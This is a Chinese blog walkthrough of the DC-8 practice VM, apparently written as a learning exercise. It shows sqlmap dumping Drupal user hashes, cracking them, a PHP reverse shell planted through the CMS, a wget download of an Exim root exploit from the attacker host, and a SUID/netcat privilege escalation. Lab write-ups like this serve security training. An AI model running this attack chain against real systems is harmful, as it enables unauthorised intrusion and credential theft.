DC-8 渗透测试

冲冲冲 ,好好学习 。 核心:cms上传添加存在漏洞组件,利用该组件getshell

操作机:kali 172.66.66.129

靶机:DC-4 172.66.66.137

网络模式:NAT

netdiscover

nmap -sV -A -p- 172.66.66.137 -oN dc-8.nmap

开了22端口ssh 7.4,80端口http

robots.txt 看看

dirb http://172.66.66.137 | grep CODE:2

dirb http://172.66.66.137 > /tmp/dc-8.dirb

只看能访问成功的页面,也可以所有结果输出到文本里保存起来慢慢分析。

有感觉到靶机的难度在提升,加油冲冲冲

先去访问80看看,发现cms是Drupal 7



直觉告诉我,这个url 存在注入点?

url输入单引号 ' 有报错回显而且泄露路径,可以sqlmap跑起来。

sqlmap -u http://172.66.66.137?/nid=1

存在漏洞,爆破吧(不想手工来了>..<)

sqlmap -u http://172.66.66.137/?nid=1 --dbs

sqlmap -u http://172.66.66.137/?nid=1 -D d7db --tables

sqlmap -u http://172.66.66.137/?nid=1 -D d7db -T users --columns

sqlmap -u http://172.66.66.137/?nid=1 -D d7db -T users -C name,pass,uid --dump

name pass uid
admin $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z 1
john $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF 2

保存密码到dc-8.txt,再kali下john爆破一下, john dc-8.txt

turtle

尝试登陆

admin:turtle ; john:turtle发现john是可以的

searchsploit drupal 7

查到/usr/share/exploitdb/exploits/php/webapps/34992.py,能添加admin账号

没有该漏洞,搞了个寂寞... (还有个ssh爆破没尝试)

john账号登进去之后的内容就太丰富了。

看到有留言板,马上想到XSS。

我们的目标是:想办法拿到shell,先想到反弹shell,反弹shell的前提是,得找到有地方可以上传并解析代码的位置。

留言板尝试无果,

发现有个可以 edit ,可以编辑代码?点开看看,貌似可以插入个php反弹shell

添加完仿佛没效果?是没有解析吗?

一顿操作下来,发现了这个页面,编辑文本格式里找到了 php code ,狂喜 (>-<)

菜鸡落泪,步骤的第一步就错了,不应该一上来就写反弹shell,得先测试一下这里输入的php代码时候可以被正确的执行,并且回显。测试php 编码是否能执行,写个 <?php phpinfo();?>之类的。

有没有发现,写进去了,讲道理,写进去的php,一般是解析执行了的,但是要访问哪个路径才能看到写进去的内容呢?(打开什么路径触发?)这是个大问题。大问题大问题,为啥没显示出来?编辑还没提交吗?

果然是提交的问题,上面的步骤不完整,每一个都填写,还要添加

最后起作用的好像是这个图的框里,点击submit之后,shell上线。不不不,最后起作用的不是这个框,是上图的form sitting

拿到个陌生shell,开始收集信息。uname -a 、echo $SHELL 、echo $PATH、find / -perm -4000 -type f 2>/dev/null ...

令人兴奋的权限,查看一下内容是啥

4.89版本的exim ,找一下漏洞

上面的txt大多是漏洞验证之类的文档,当然也可以研究可以。要是有 可执行的提权脚本就更爽了。

盯住 privilege escalation 字眼,46994.sh仿佛在向你招手。本地提权,得把脚本传到靶机。

kali开启服务器python -m SimpleHTTPServer 9876

靶机下载脚本 wget http://172.66.66.129:9876/46996.sh

kali下记得执行以下 dos2unix 46996.sh 改一下文本格式

执行(脚本改名为 dc-8.sh了)



没成功,再回去仔细看看脚本源码

有两种利用方法, suid 、netcat

这个shell 效果很玄学,执行了七八次,最后是用netcat才成功了。

最后

  1. 好好学英语
  2. 英语好好学
  3. 学好英语好
  4. 核心在:寻找cms可执行代码的模块/组件,利用来反弹shell。shell代码不一定能执行成功,多研究一下。
  5. 真的得沉得住气,坚持,有耐心,反复尝试反复尝试仿佛尝试
  6. Exim是一个MTAMail Transfer Agent,邮件传输代理)服务器软件,该软件基于GPL协议开发,是一款开源软件。该软件主要运行于类UNIX系统。通常该软件会与Dovecot或Courier等软件搭配使用。
  7. .rb文件格式是Ruby创建的程序源代码,Ruby是一种为简单快捷的面向对象编程而创建的脚本语言,通过Ruby来编译运行。

最新文章

  1. 仿【Emmet】转【HTML】功能
  2. 我是如何社工TDbank获取朋友隐私的
  3. MySQL调优参数
  4. 【转发】centos 7安装完后出现please make your choice from &#39;1&#39; ......
  5. Mahout学习之Mahout简介、安装、配置、入门程序测试
  6. fixed 定位 苹果手机输入框触发时内容全部隐藏
  7. C#跳出循环的几种方法的区别
  8. 纯css加伪类实现关闭提示创窗口
  9. html5--基础笔记
  10. php中var_dump() 打印出一个对象的时候,信息怎么看?
  11. HUST 1353 Dartboard
  12. UVa 10041 - Vito&#39;s Family
  13. hibernate 基本配置文件及CRDU的操作和基本的HQL查询
  14. 关于SVM数学细节逻辑的个人理解(一)
  15. React Component Lifecycle(生命周期)
  16. Windbg 内核态调试用户态程序然后下断点正确触发方法(亲自实现发现有效)
  17. find the most comfortable road(hdu1598)不错的并查集
  18. AKKA集群中的分布式发布订阅
  19. Mapped Statements collection does not contain value for 问题的解决
  20. BZOJ1597:[USACO]土地购买(斜率优化DP)

热门文章

  1. .Net Core with 微服务 - Seq 日志聚合
  2. Map类型的Json格式
  3. OSPF 路由协议
  4. 20201123 《python程序设计》实验四报告
  5. JUnit5注解学习指引
  6. 敢为人先,从阿里巴巴云原生团队实践Dapr案例,看分布式应用运行时前景
  7. 我是怎么写 Git Commit message 的?
  8. 如何优雅地实现浏览器兼容与CSS规则回退
  9. 源码搭建Zabbix4.0.23LTS监控系统
  10. 暑假自学java第九天